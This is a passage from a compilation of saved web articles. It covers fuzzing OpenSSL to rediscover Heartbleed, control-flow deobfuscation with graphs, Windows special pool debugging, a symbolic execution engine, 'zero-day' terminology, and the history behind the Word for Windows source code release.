for every new memory allocation. A blog post by Chris Rohlf digs into the
details of the OpenSSL memory allocator.  
  
**Breaking random numbers for deterministic behaviour**  
  
When fuzzing the TLS handshake american fuzzy lop will report a red number
counting variable runs of the application. The reason for that is that a TLS
handshake uses random numbers to create the master secret that's later used to
derive cryptographic keys. Also the RSA functions will use random numbers. I
wrote a patch to OpenSSL to deliberately break the random number generator and
let it only output ones \(it didn't work with zeros, because OpenSSL will wait
for non-zero random numbers in the RSA function\).  
  
During my tests this had no noticeable impact on the time it took afl to find
Heartbleed. Still I think it is a good idea to remove nondeterministic
behavior when fuzzing cryptographic applications. Later in the handshake there
are also timestamps used, this can be circumvented with libfaketime, but for
the initial handshake processing that I fuzzed to find Heartbleed that doesn't
matter.  
  
**Conclusion**  
  
You may ask now what the point of all this is. Of course we already know where
Heartbleed is, it has been patched, fixes have been deployed and it is mostly
history. It's been analyzed thoroughly.  
  
The question has been asked if Heartbleed could've been found by fuzzing. I'm
confident to say the answer is yes. One thing I should mention here however:
American fuzzy lop was already available back then, but it was barely known.
It only received major attention later in 2014, after Michal Zalewski used it
to find two variants of the Shellshock bug. Earlier versions of afl were much
less handy to use, e. g. they didn't have 64 bit support out of the box. I
remember that I failed to use an earlier version of afl with Address
Sanitizer, it was only possible after a couple of issues were fixed. A lot of
other things have been improved in afl, so at the time Heartbleed was found
american fuzzy lop probably wasn't in a state that would've allowed to find it
in an easy, straightforward way.  
  
I think the takeaway message is this: We have powerful tools freely available
that are capable of finding bugs like Heartbleed. We should use them and look
for the other Heartbleeds that are still lingering in our software. Take a
look at the Fuzzing Project if you're interested in further fuzzing work.
There are beginner tutorials that I wrote with the idea in mind to show people
that fuzzing is an easy way to find bugs and improve software quality.  
  
I already used my sample application to fuzz the latest OpenSSL code. Nothing
was found yet, but of course this could be further tweaked by trying different
protocol versions, extensions and other variations in the handshake.  
  
_I also wrote aGerman article about this finding for the IT news webpage
Golem.de._  
---  
  

# Control Flow Deobfuscation Part 1 - Blogs - RCE Messageboard's Regroupment

**Created:**| _4/14/2011 1:41:05 PM_  
---|---  
**Updated:**| _4/14/2011 1:41:05 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification reversing Graphs_  
  

#### Control Flow Deobfuscation Part 1

###### Rate this Entry

  * Excellent
  * Good
  * Average
  * Bad
  * Terrible
  * 

4 Comments

by

**fr33ke**

  * <img src='img/profile.png' /> View Profile
  * <img src='img/forum.png' /> View Forum Posts
  * <img src='img/blog.png' /> View Blog Entries
  * <img src='img/article.png' /> View Articles

on January 13th, 2008 at 08:31 \(3024 Views\)

> Control Flow Obfuscation is one of the biggest protection mechanisms used in
> commercial protections for intermediate languages like IL \(.NET\) and Java
> bytecode. It is also used a bit in some native protectors, mostly to hide
> their own code, but I won't go into that. I'll use pseudocode for the
> examples.  
>  
>  The basic idea behind control flow obfuscation is that spaghetti code is
> hard to read. So the protectors transform normal code into spaghetti code,
> with lots of spurious branches. You can repair this by hand, but as
> functions get bigger this becomes a huge PITA. So we must write a program to
> do it for us.  
>  
>  I'll assume we have access to the bytecode in the program. Also we'll make
> use of some primitive operations on this bytecode. These problems are
> straightforward to tackle, all you need is the documentation and some \(much
> <img src='img/2239_wink.gif' />\) time.  
>  
>  To reorganize the function we will use a two-step approach:
>   1. Make a Control Flow Graph from the bytecode.
>   2. Make bytecode from the CFG.
>
You might think "That doesn't do anything\!", but the trick is that we read in
bytecode that is obfuscated and write out bytecode that is simple to read.
Both form the same control flow graph, so the meaning is not changed.  
>  
>  English example:
>   * Obfuscated: "The bike, that is owned by John, who has blue eyes, needs
> to be repaired."
>   * Graph:  
> <img src='img/graph1zo4.png' />
>   * Simplified: "John has blue eyes. His bike needs to be repaired."
>
Of course this isn't a perfect analogy but I hope you see what I mean.  
>  
> Building the CFG  
>  Let's see what we want from the CFG:
>   * Have vertices with some amount of bytecode
>   * Have edges that show the connection between vertices.
>     * E.g. if vertex 1 branches to vertex 2 we want an edge from 1 to 2.
> Note that this edge has a direction: it doesn't go from 2 to 1.
>     * We need a label on the edge that shows the type of connection. For
> instance if vertex 1 branches to vertex 2 if some condition is true, and to
> vertex 3 if it is false, we would have this graph:  
> <img src='img/graph2iy9.png' />
>   * Every vertex has one entry point and one exit point.
>
\(if this is all gibberish for you, please read up on graphs before
continuing\)  
>  
>  The last point ensures our CFG is a proper Directed Graph.  
>  In practice you'll want to keep the edge information with the vertex it
> comes from, but this changes nothing to the basic ideas.  
>  
>  With this info, we can make a simple recursive function to construct the
> CFG:  
>
> Code:
[code]

>     already_done_vertices = empty
>     cfg_of_function = makecfg(entry_point_of_function)
>  
>     function makecfg(current_instruction):
>         vertex myvertex
>  
>         if current_instruction is in already_done_vertices
>             myvertex = the appropriate vertex in already_done_vertices
>  
>         else
>             myvertex.bytecode   = bytecode of current_instruction
>             myvertex.branchtype = branch type of current_instruction
>             myvertex.edges    = empty
>             add myvertex to already_done_vertices
>             for each target of current_instruction
>                 add makecfg(target) to myvertex.edges
>  
>         return myvertex
>  
[/code]

> Note that the bytecode of a branch is nothing. Its only significance is in
> the branchtype and the targets. Most instructions have a branch type of
> "always" with a target that is the next instruction. The branch type relates
> to the targets, f.i. "top\_of\_stack \!= 0" may go to the first target if
> true, or the second target if false.  
>  
>  Of course in a real implementation you want to keep the number of vertices
> and edges low, so you lump together as many instructions as you can without
> breaking the rules, splitting them when necessary.  
>  
>  Well, that's it for now, in part 2 \(and maybe 3\) I'll show how to make
> bytecode from the CFG.

# Understanding Pool Corruption Part 2 – Special Pool for Buffer Overruns -
Ntdebugging Blog - Site Home - MSDN Blogs

**Created:**| _8/26/2013 3:31:00 PM_  
---|---  
**Updated:**| _8/26/2013 4:33:03 PM_  
**Author:**| __  
**Tags:**| _windows environment Memory corruptions_  
  

# **U** nderstanding Pool Corruption Part 2 – Special Pool for Buffer
Overruns****

ntdebug

22 Aug 2013 12:21 PM

In our previous article  we discussed pool corruption that occurs when a
driver writes too much data in a buffer**.** In this article we will discuss
how special pool can help identify the driver that writes too much data**.**

Pool is typically organized to allow multiple drivers to store data in the
same page of memory, as shown in Figure 1**.** By allowing multiple drivers to
share the same page, pool provides for an efficient use of the available
kernel memory space**.** However this sharing requires that each driver be
careful in how it uses pool, any bugs where the driver uses pool improperly
may corrupt the pool of other drivers and cause a crash**.**

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/0525.image001_5F00_076FC26B.jpg'
width='192' height='255' />

Figure 1 – Uncorrupted Pool

With pool organized as shown in Figure 1, if DriverA allocates 100 bytes but
writes 120 bytes it will overwrite the pool header and data stored by
DriverB**.** In Part 1 we demonstrated this type of buffer overflow using
NotMyFault, but we were not able to identify which code had corrupted the
pool**.**

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/1205.image002_5F00_3F42068E.jpg'
width='192' height='254' />

Figure 2 – Corrupted Pool

To catch the driver that corrupted pool we can use special pool**.** Special
pool changes the organization of the pool so that each driver’s allocation is
in a separate page of memory**.** This helps prevent drivers from accidentally
writing to another driver’s memory**.** Special pool also configures the
driver’s allocation at the end of the page and sets the next virtual page as a
guard page by marking it as invalid**.** The guard page causes an attempt to
write past the end of the allocation to result in an immediate bugcheck**.**

Special pool also fills the unused portion of the page with a repeating
pattern, referred to as “slop bytes”**.** These slop bytes will be checked
when the page is freed, if any errors are found in the pattern a bugcheck will
be generated to indicate that the memory was corrupted**.** This type of
corruption is not a buffer overflow, it may be an underflow or some other form
of corruption**.**

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/0574.image003_5F00_77807DA6.jpg' />

Figure 3 – Special Pool

Because special pool stores each pool allocation in its own 4KB page, it
causes an increase in memory usage**.** When special pool is enabled the
memory manager will configure a limit of how much special pool may be
allocated on the system, when this limit is reached the normal pools will be
used instead**.** This limitation may be especially pronounced on 32-bit
systems which have less kernel space than 64-bit systems.

Now that we have explained how special pool works, we should use it**.**

There are two methods to enable special pool**.** Driver verifier allows
special pool to be enabled on specific drivers**.** The PoolTag registry value
described in KB188831  allows special pool to be enabled for a particular pool
tag**.** Starting in Windows Vista and Windows Server 2008, driver verifier
captures additional information for special pool allocations so this is
typically the recommended method**.**

To enable special pool using driver verifier use the following command line,
or choose the option from the verifier GUI**.** Use the /driver flag to
specify drivers you want to verify, this is the place to list drivers you
suspect as the cause of the problem**.** You may want to verify drivers you
have written and want to test or drivers you have recently updated on the
system**.** In the command line below I am only verifying myfault.sys**.** A
reboot is required to enable special pool.

verifier /flags 1 /driver myfault.sys

After enabling verifier and rebooting the system, repeat the activity that
causes the crash**.** For some problems the activity may just be to wait for a
period of time**.** For our demonstration we are running NotMyFault \(see Part
1 for details\)**.**

The crash resulting from a buffer overflow in special pool will be a stop
0xD6, DRIVER\_PAGE\_FAULT\_BEYOND\_END\_OF\_ALLOCATION**.**

kd> \!analyze -v

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

\* Bugcheck Analysis \*

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

DRIVER\_PAGE\_FAULT\_BEYOND\_END\_OF\_ALLOCATION \(d6\)

N bytes of memory was allocated and more than N bytes are being
referenced**.**

This cannot be protected by try-except**.**

When possible, the guilty driver's name \(Unicode string\) is printed on

the bugcheck screen and saved in KiBugCheckDriver**.**

Arguments:

Arg1: fffff9800b5ff000, memory referenced

Arg2: 0000000000000001, value 0 = read operation, 1 = write operation

Arg3: fffff88004f834eb, if non-zero, the address which referenced memory**.**

Arg4: 0000000000000000, \(reserved\)

We can debug this crash and determine that notmyfault.sys wrote beyond its
pool buffer**.**

The call stack shows that myfault.sys accessed invalid memory and this
generated a page fault**.**

kd> k

Child-SP RetAddr Call Site

fffff880\`04822658 fffff803\`721333f1 nt**\!** KeBugCheckEx

fffff880\`04822660 fffff803\`720acacb nt**\!** ?**?**
::FNODOBFM::\`string'+0x33c2b

fffff880\`04822700 fffff803\`7206feee nt**\!** MmAccessFault+0x55b

fffff880\`04822840 fffff880\`04f834eb nt**\!** KiPageFault+0x16e

fffff880\`048229d0 fffff880\`04f83727 myfault+0x14eb

fffff880\`04822b20 fffff803\`72658a4a myfault+0x1727

fffff880\`04822b80 fffff803\`724476c7 nt**\!** IovCallDriver+0xba

fffff880\`04822bd0 fffff803\`7245c8a6 nt**\!** IopXxxControlFile+0x7e5

fffff880\`04822d60 fffff803\`72071453 nt**\!** NtDeviceIoControlFile+0x56

fffff880\`04822dd0 000007fc\`4fe22c5a nt**\!** KiSystemServiceCopyEnd+0x13

00000000\`004debb8 00000000\`00000000 0x000007fc\`4fe22c5a

The **\!** pool command shows that the address being referenced by myfault.sys
is special pool**.**

kd> \!pool fffff9800b5ff000

Pool page fffff9800b5ff000 region is Special pool

fffff9800b5ff000: Unable to get contents of special pool block

The page table entry shows that the address is not valid**.** This is the
guard page used by special pool to catch overruns**.**

kd> \!pte fffff9800b5ff000

VA fffff9800b5ff000

PXE at FFFFF6FB7DBEDF98 PPE at FFFFF6FB7DBF3000 PDE at FFFFF6FB7E6002D0 PTE at
FFFFF6FCC005AFF8

contains 0000000001B8F863 contains 000000000138E863 contains 000000001A6A1863
contains 0000000000000000

pfn 1b8f ---DA--KWEV pfn 138e ---DA--KWEV pfn 1a6a1 ---DA--KWEV not valid

The allocation prior to this memory is an 800 byte block of non paged pool
tagged as “Wrap”**.** “Wrap” is the tag used by verifier when pool is
allocated without a tag, it is the equivalent to the “None” tag we saw in Part
1**.**

kd> \!pool fffff9800b5ff000-1000

Pool page fffff9800b5fe000 region is Special pool

\*fffff9800b5fe000 size: 800 data: fffff9800b5fe800 \(NonPaged\) \*Wrap

Owning component : Unknown \(update pooltag.txt\)

Special pool is an effective mechanism to track down buffer overflow pool
corruption**.** It can also be used to catch other types of pool corruption
which we will discuss in future articles**.**

****

# Making a Symbolic Execution Engine

**Created:**| _2/18/2013 2:44:19 PM_  
---|---  
**Updated:**| _2/18/2013 2:44:19 PM_  
**Author:**| __  
**Tags:**| _symbolic exec_  
  

# **M** aking a Symbolic Execution Engine****

###  Introduction****

In this post I present my work over the past couple weeks on a symbolic
execution engine called rnp\_see**.** I am releasing it under the GPLv3
license here: rnp\_see **.** Rnp\_see is short for, "Rainbows aNd Pwnies
Symbolic Execution Engine," and is pronounced, "rip see**.** "  
  
Note that this is experimental code and does not create a complete
environment**.** I am still fixing bugs and it is only implemented to the
degree necessary to work through the test cases**.**

###  Building and running****

**Requirements** : A current c++ compiler which supports c++11 extensions, as
well as the udis86  disassembly library**.** Rnp\_see currently uses the gcc
extension \_\_uint128\_t which requires a 64-bit environment**.** I am using
Ubuntu 12**.** 04 x86-64 to build, but I am told the project also successfully
builds in an updated Fedora 17 x86-64**.**  
  
After grabbing the necessary requirements, clone the repository and run
make**.** A few small test cases are available, of which 1 & 2 are the ones I
am currently testing against**.** Change directory into either test/1 or
test/2 and run:  
`../../see test`  
  
The currently implemented commands are:

  * **a** \- \(All\) run until completion
  * **s** \- step a single instruction
  * **d** \- step 8 instructions
  * **f** \- step 16 instructions
  * **g** \- step 128 instructions
  * **r** \- print variables corresponding to x86 registers with their ascii names
  * **v** \- print all variables

Most of the time when I run this engine, my command line looks something like
this:  
  
`echo gggfffssssr | ../../see test`   
  
These applications write to stdout**.** The engine will create a file based on
the filehandle, _fh\_1_ , and append all data written to stdout there**.**

###  Basic Engine Design****

The engine can be broken into the following pieces:

  * **Loader** : Responsible for creating the initial environment for the VM**.**
  * **Translator** : Translates instructions from the host assembly language to the Intermediate Language used by the VM**.**
  * **Memory** : Holds, "Pages," and contains the memory state of the VM**.**
  * **IL Instructions** : RISC type instructions without side-effects, used by the VM to update the state of variables and memory**.**
  * **VM** : The main execution environment, or the _glue_ that brings everything else together**.** Executes instructions in its Intermediate Language to modify the state of memory and variables**.**

I wanted the engine to be completely self-contained which, for a few small
caveats, it is**.** By self contained I mean the entire process of loading and
executing the target binary is done entirely by the engine without help from
the engine's environment**.** This means the engine must handle system calls
internally**.** This engine is currently targeting non-threaded applications
which run in userland, and in its current implementation specifically a linux
x86-64 userland environment**.**  
  
I wanted the engine to be readily understood and hackable by others**.** For
this reason, I chose c++ as my language of implementation**.** Someone,
somewhere, is grimacing that I am not using ocaml**.**  
  
Lastly, the engine must display some sort of zero-configuration default
behavior**.** Currently, one simply passes the name of the target binary to
initialize the engine and uses the commands outlined above to begin
executing**.**

###  Loader****

The current loader supports 64-bit Elf binaries**.** It interfaces with the VM
through a few calls: g\_memory\(\), g\_variables\(\), g\_ip\_id\(\)**.** These
calls set the initial state of the VM.  
  
g\_memory\(\) will create an artificial memory environment for the target
binary, any ELFs for which DT\_NEEDED entries are available in the Elf dynamic
table \(read shared objects \(read DLLs\)\), the stack and Thread Local
Storage**.** This work is typically done by the kernel and/or GNU binutils
before the binary is entered and is required to create a workable environment
for the simple test cases built with current compilers for a current 64-bit
linux environment**.** The loader will perform the necessary relocations found
in the provided test cases**.** Once the memory has been set up and
initialized, this memory model is returned to the VM**.**  
  
g\_variables\(\) will return a map of variables representing the initial state
of registers when the program is loaded**.** For example, %rsp must point to
memory inside the stack, and %fs must point to the Thread Local Storage Data
Structure**.** %rip points to the entry point of the binary.  
  
g\_ip\_id\(\) returns the identifier corresponding to the instruction
pointer**.** In our case, g\_ip\_id\(\) returns the identifier of %rip**.**
The VM only understands its Intermediate Language, memory and variables, and
has no knowledge of the host assembly language**.** For this reason, the
g\_ip\_id\(\) call is necessary.

###  IL Instructions****

The rnp\_see IL instruction set was heavily influenced by the paper: Precise
Static Analysis of Binaries by Extracting Relational Information **.**  
  
The 23 instructions implemented by the rnp\_see intermediate language are:

  * **General Instructions** : syscall, load, store, brc, assign, not, signextend, hlt
  * **Binary Operation Instructions** : add, sub, mul, div, mod, shl, shr, and, or, xor
  * **Comparison Operation Instructions** : cmpeq, cmplts, cmpltu, cmples, cmpleu

There is currently no difference between the comparison and binary operation
instructions**.**  
  
Non-conditional branches are translated to conditional branches where the
condition is a constant value of 1**.** Unlike assembly families such as x86,
the rnp\_see IL instructions have no side-effects**.** When host assembly is
translated to IL, these side-effects are broken out to additional IL
instructions and executed explicitly, as is often done in the multitude of
literature available \(including the above referenced paper\)**.**

###  Translator****

The translator, "translates," instructions from the host assembly language to
the Intermediate Language used by rnp\_see**.** Typically this involves
creating several IL instructions per host assembly instruction**.** The
currently implemented translator translates 74 x86-64 instructions to IL
instructions**.**  
  
The translator was written using the udis86 library and is intended to be easy
to understand**.** Helper functions, such as operand\_get\(\) and
operand\_set\(\) are provided to ease the creation of new instructions**.**
For example, given a memory operand, operand\_get\(\) will create the
necessary instructions to load value from memory and return an
InstructionOperand type which will hold the value after the load
completes**.** operand\_set\(\) does the same for writing to memory
operands**.**  
  
x86-64 assembly allows the loading and storing of 128-bit values**.** However,
rnp\_see only supports 64-bit loads and stores \(explanation in following
paragraph\)**.** operand\_get\(\), operand\_set\(\) and operand\_load\(\) will
break 128-bit loads and stores into multiple 64-bit loads and stores
appropriately**.**  
  
Rnp\_see is designed to work only on the types found in <inttypes**.** h>, or,
more specifically, nothing larger than uint64\_t**.** However, it must support
128-bit operations as x86-64 assembly has 128-bit registers**.** This is done
by creating a special class for all SymbolicValue values, UInt, and
restricting all 128-bit operations to this class**.** This class currently
uses \_\_uint128\_t as its type for storing values, which restricts rnp\_see
to building and running on systems which support the gcc \_\_uint128\_t
extension**.** However, the class can be replaced later with one which does
not depend on \_\_uint128\_t, allowing rnp\_see to build and run on a wider
variety of systems.  
  
The VM uses two functions from the translator, translate\(\) and
native\_asm\(\)**.** translate\(\) returns a list of IL instructions for the
VM to execute, while native\_asm\(\) returns a string representation of the
instruction in the host assembly language**.**

###  Memory****

Modelling memory appears to be a continuing problem for the design of Symbolic
Execution Engines**.** Rnp\_see attempts to use the least memory possible to
accomplish its task**.** Rnp\_see's memory model, hereforth referred to as
simply Memory, consists of multiple buffers of type Page**.** Memory maps
these pages by their addresses. When a load or store occurs, Memory will
locate the correct page and perform the operation at the offset from the
page's beginning**.** Stores and loads across consecutive pages is a problem,
and the memory model currently only supports loading 64-bit values across
pages**.**  
  
The advantage of using pages to model memory comes will be shown when forking
the engine during symbolic execution**.** When a new memory model is created
for a forked engine, the child model reference's the parent's pages**.** From
this point onward, both child and parent will perform a copy-on-write for any
pages modified after the fork**.** This allows multiple forked engines to
reference the same memory if that memory remains unchanged, and minimizes both
the amount of work done and space required to create a new memory model for
the child engine**.**  
The VM receives an initial state from the loader, fetches the bytes pointed to
by the Instruction Pointer, passes these bytes to the translator to receive IL
instructions, and executes the IL instructions to update its variables and
Memory**.** It maintains both a memory model and a map of identifiers to
symbolic values**.** The SymbolicValue type can hold either concrete values,
or expressions which represent a range of possible values**.** The VM will
continue executing until it reaches a hlt instruction, which, as of this
writing, is currently the only unimplemented instruction in the VM**.**  
  
When the VM reaches a syscall instruction, it passes references to its
variables and memory to a kernel**.** Currently, rnp\_see includes a kernel
which implements a small subset of x86-64 linux system calls**.** This kernel
will take control of the variables and memory and update them accordingly**.**
As most program input comes from system calls to the kernel, this is a natural
place to inject symbolic input into the program**.** However, as of this
writing, the kernel executes concretely as I work through the test cases**.**

###  Conclusion and Acknowledgments****

I emphasize the code in its current state is experimental quality**.** It is
under continuous development and is suitable for nothing other than reference
and experimentation**.**  
  
Thanks go to gimpyds for providing the motivation to start writing this thing
and answering questions throughout**.** Additional thanks go to, in
alphabetical order, oldgregg, twabulldog, v1013nt and vnutz \(who provided
crazy context on the movsd instruction\)**.******

# Disambiguate “Zero-Day” Before Considering Countermeasures

**Created:**| _5/7/2017 10:22:12 AM_  
---|---  
**Updated:**| _5/7/2017 10:22:12 AM_  
**Author:**| __  
**Tags:**| _zeroday_  
  

  

# Disambiguate “Zero-Day” Before Considering Countermeasures

<img src='img/malware-skull.jpg' width='576' height='326' />

“Zero-day” is the all-powerful boogieman of the information security industry.
Too many of us invoke it when discussing scary threats against which we feel
powerless. We need to define and disambiguate this term before attempting to
determine whether we’ve accounted for the associated threats when designing
security programs.

## Avoid Zero-Day Confusion

I’ve seen “zero-day” used to describe two related, but independent concepts.
First, we worry about zero-day vulnerabilities—along with the associated zero-
day exploits—for which we have no patch. Also, we’re concerned about zero-day
malware, which we have no way of detecting.

These scenarios can represent different threats that often require distinct
countermeasures. Let’s try to avoid confusion and FUD by being clear about the
type of issues we’re are describing. To do this, in short:

> Use “zero-day” as an adjective. Don’t use it as a noun.
This way you’ll be more likely to clarify what type of threat you have in
mind.

The term zero-day \(sometimes written as “0day”\) appears to originate from
the software pirating scene, as @4Dgifts pointed out to me on Twitter. It
referred to cracked software \(warez\) distributed on or before its official
release date; this is outlined on Wikipedia. By the way, if you like
leetspeak, writing “0day” is fine when addressing technologists; stick to
“zero-day” if your audience includes executives or business people.

## Zero-Day Vulnerabilities and Exploits

Let’s start with  _zero-day vulnerabilities._ I came across the following
reasonable definition of this term in FireEye’s _Zero-Day Danger_ report,
which is consistent with how many other security vendors use this term:

> “Zero-day vulnerabilities are software flaws that leave users exposed to
> cyber attacks before a patch or workaround is available.”
Along these lines, a  _zero-day_ _exploit_ is one that targets a zero-day
vulnerability.

An alternative definition of a zero-day exploit, which was captured by Pete
Lindstrom, is “an exploit against a vulnerability that is not widely known.”
\(Thanks for pointing me to that source, Ryan Naraine.\)

## Zero-Day Malicious Software

I’ve encountered numerous articles that ask “What is zero-day malware?” and
then confuse the matter by proceeding to discuss zero-day exploits instead.
Even FireEye’s report on zero-day vulnerabilities, mentioned above, blurred
the topic by briefly slipping into the discussion of zero-day malware when it
mentioned that “code morphing and obfuscation techniques generate new malware
variants faster than traditional security firms can generate new signatures.”

To avoid ambiguity or confusion, I prefer to use the term _zero-day malware_
like this:

Zero-day malware is malicious software for which there is no currently-known
detection pattern.

The word “pattern” includes the various ways in which one might recognize a
malicious program, be it a traditional signature, a machine learning model, or
behavioral footprints. I think this definition is consistent with the type of
malware that Carl Gottlieb had in mind during our discussion on Twitter
malware variants that don’t match a known identifier, such as a hash.

## Zero-Day Attacks

Another “zero-day” term that security professionals sometimes use in this
context is _zero-day attack_. Such an assault is reasonably defined Leyla
Bilge and Tudor Dumitras in their _Before We Knew It_ paper:

> “A zero-day attack is a cyber attack exploiting a vulnerability that has not
> been disclosed publicly.”
However, what if the attack didn’t involve zero-day vulnerabilities, but
instead employed zero-day malware? We’d probably also call such an incident a
zero-day attack. Ambiguity alert\!

Unless you need to be general, consider staying away from “zero-day attack”
and clarify which of zero-day concept you’re discussing.

## Avoid the Ambiguity, Save the World

Why worry about “zero-day” terminology? There is an increasingly-acute need
for infosec designs that account for attacks that incorporate unknown,
previously-unseen components. However, the way organizations handle zero-day
exploits will likely differ from how they deal with zero-day malware.

By using the “zero-day” as an adjective and clarifying which word it’s
describing, you can help companies devise the right security architecture. In
contrast, asking “What is zero-day?” is too ambiguous to be useful.

As I mentioned when discussing fileless malware, I am especially careful with
terms that risk turning into industry buzzwords. My endpoint security product
at Minerva focuses on blocking unknown malware that’s designed to evade
existing defenses, and I want to avoid misrepresenting our capabilities when
using the term zero-day. Perhaps this write-up will help my company and other
security vendors better explain how we add value to the security ecosystem.

Updated May 2, 2017

Lenny Zeltser

### About the Author

Lenny Zeltser is a seasoned business and technology leader with extensive
information security experience. He builds creative anti-malware solutions as
VP of Products at Minerva. He also trains incident response and digital
forensics professionals at SANS Institute. Lenny frequently speaks at industry
events, writes articles and has co-authored books. He has earned the
prestigious GIAC Security Expert designation, has an MBA from MIT Sloan and a
Computer Science degree from the University of Pennsylvania.

Learn more

  

# Computer History Museum | @CHM : Microsoft Word for Windows Version 1.1a Source Code
**Created:**| _3/25/2014 10:10:48 PM_  
---|---  
**Updated:**| _3/25/2014 10:10:48 PM_  
**Author:**| __  
**Tags:**| _History_  
  

# Software Gems: The Computer History Museum Historical Source Code Series

The dominant word processing program for personal computers in the 1980s was
DOS-based WordPerfect. Microsoft Word for DOS, which had been released in
1983, was an also-ran.

That situation changed dramatically with the introduction of Microsoft Word
for Windows in 1989. By 1993 it was generating 50% of the word processing
market revenue, and by 1997 it was up to 90%. \[1\]

<img src='img/Temp2_1565.gif' alt='word_processor_market_share' />

Clearly there was something extraordinary about Word for Windows. Part of its
success was due to Microsoft’s marketing acumen. But it was also a stunning
technical achievement, and its ability to run on ordinary PCs created the
first popular vanguard of the new graphics-oriented style of document
preparation.

Remember, this was a time when a typical personal computer might have an 8 Mhz
processor, 1 megabyte of memory, a 20 megabyte hard disk, and a floppy disk
drive. How did Word accomplish so much with so little?

There’s only one way to understand the magic in detail: read the code. With
the permission of Microsoft Corporation, the Computer History Museum is
pleased to make available, for non-commercial use, the source code of Word for
Windows version 1.1a as it was on January 10, 1991. This material is ©
Copyright by Microsoft.

The 7 MB zip file contains 1021 files in 33 folders. In the root directory
there is a “readme” file that briefly explains the rest of the contents. Most
of it is source code in C, but there are also text documents, x86 assembler-
language source files, executable tools, batch files, and more.

To access this material you must agree to the terms of the license displayed
here, which permits only non-commercial use and does not give you the right to
license it to third parties by posting copies elsewhere on the web.

Download Microsoft Word for Windows Version 1.1a Source Code

Other historical source code releases in this series include IBM’s APL
programming language, Apple II DOS, Adobe’s Photoshop, Apple
Macpaint/QuickDraw, and Microsoft’s MSDOS. If you would like us to do more of
this, please consider supporting the museum’s efforts by making a donation. We
are a 501\(c\)3 non-profit organization.

## How Microsoft Word Came To Be

In the dark ages of computer word processing, what you wrote \(and saw on the
screen, if you had one\) was cryptic formatting commands embedded within the
text, like this:

[code]

    .nf
    .ll 4.0i
    .in 2.0i
    101 Main Street
    Morristown, NJ  07960
    15 March, 1997
    .sp 1i
    .in 0
    Dear Sir,
    .fi
    .ti 0.25i
    I just wanted to drop you a note to thank you…
[/code]

After “compiling” and printing, you finally saw the result – which often
wasn’t what you wanted. Make changes. Try again.

The emergence of WYSIWYG \(“What You See Is What You Get”\) word processors
changed all that. The screen showed what the final document would look like,
and keyboard commands you used changed the look of the text, not a programming
script.

<img src='img/Temp2_1564.gif' alt='Charles Simonyi at Xerox PARC in 1980' />

Charles Simonyi at Xerox PARC in 1980

One of the first such programs was BRAVO, created in 1974 by Butler Lampson,
Charles Simonyi and others at Xerox PARC, the Palo Alto Research Center, for
the groundbreaking Alto computer. Simonyi later said,

”It was clear that quite a beautiful editor could be written for the Alto.
Remember, the Alto had a black and white bitmap display. It had a mouse. It
had an un-decoded keyboard. It had all the ingredients that are necessary for
WYSIWYG. And, of course, then the network came around. The laser printer was
coming alive. So all the components were there, except for the software…. We
set out to write an editor and we finished it about three months.”\[2\]

Like much of the other innovative Alto software and hardware, BRAVO was never
sold as a commercial product.

After nine years, Simonyi was frustrated by Xerox’s inability to turn great
ideas into products. “I lost faith in Xerox’s ability to do anything”\[3\] .
In 1981 he left and joined Microsoft to lead a team in creating application
programs. The first, already in progress when he arrived, was the spreadsheet
Multiplan, a VisiCalc competitor.

Simonyi was well-suited from his Xerox experience for the next assault on the
competition: to unseat MicroPro’s popular WordStar word processor. He hired
Richard Brodie, a brilliant programmer he had first hired in 1979 at PARC. The
fact that Brodie had no college degree wasn’t an issue; Brodie said later that
“He asked me some programming questions and he liked the way I answered
them.”\[4\]

In the summer of 1982 Brodie began working with others at Microsoft on a word
processor to be controlled by a mouse. It was finished just over a year later,
in October 1983. “I had pretty much a free hand. It was a pretty small
program, and I was familiar with word processing from my work at Xerox PARC
with Charles.”\[5\]

It may have been a “small program” but it had some sophisticated features,
including support for style sheets, multiple windows, footnotes, mail-merge,
undo, and the proportional fonts that the newly emerging laser printers would
be able to use. Microsoft founder and president Bill Gates was impressed. “One
thing that just blew Bill away was an optimization of the display speed. We
actually formatted as you typed. Every time you inserted one character, the
screen would update to show exactly what was going to be printed.”\[6\]

Free demonstration copies of Microsoft Word for MS-DOS were bundled with the
November 1983 issue of PC World magazine. But it received mixed reviews, in
large part because it was so different from what most people were used to. The
1984 BYTE magazine review said it was “clever, put together well, and performs
some extraordinary feats” but “extremely frustrating to learn and operate
efficiently. …Word’s developers seem to be trying to completely reinvent word
processing.”\[7\]

That is precisely what they were trying to do. Although it was inspired by the
earlier work at Xerox, few people outside the research community had been yet
exposed to the new regime that would eventually predominate. Microsoft Word
brought WYSIWYG to the masses.

Over the next years Word was continually improved. The first version for
Microsoft Windows was released in late 1989 at a single-user price of $495. It
received a glowing review in Inforworld \[8\] that didn’t flinch at the price:
“If your system is powerful enough to support Microsoft Windows, at $495 it is
an excellent value.”

<img src='img/Temp2_1566.gif' alt='word_for_windows_1.1a_2' />

Version 1.1a, whose source code we are making available here, was released the
next year. Microsoft Word For Windows had started its remarkable climb to 90%
market share.

## Acknowledgement

We are grateful to Roy Levin, Managing Director of Microsoft Research, Silicon
Valley, for working hard to find the source code and getting permission for us
to release it.

## References

\[1\] Stan Liebowitz and Stephen Margolis, “Winners, Losers, and Microsoft:
Competition and Antitrust in High Technology”, Independent Institute, 2001

\[2\] Oral history interview of Charles Simonyi by Grady Booch, February 6,
2008, http://www.computerhistory.org/collections/catalog/102702232

\[3\] Quoted in James Wallace and Jim Erikson, “Hard Drive: Bill Gates and the
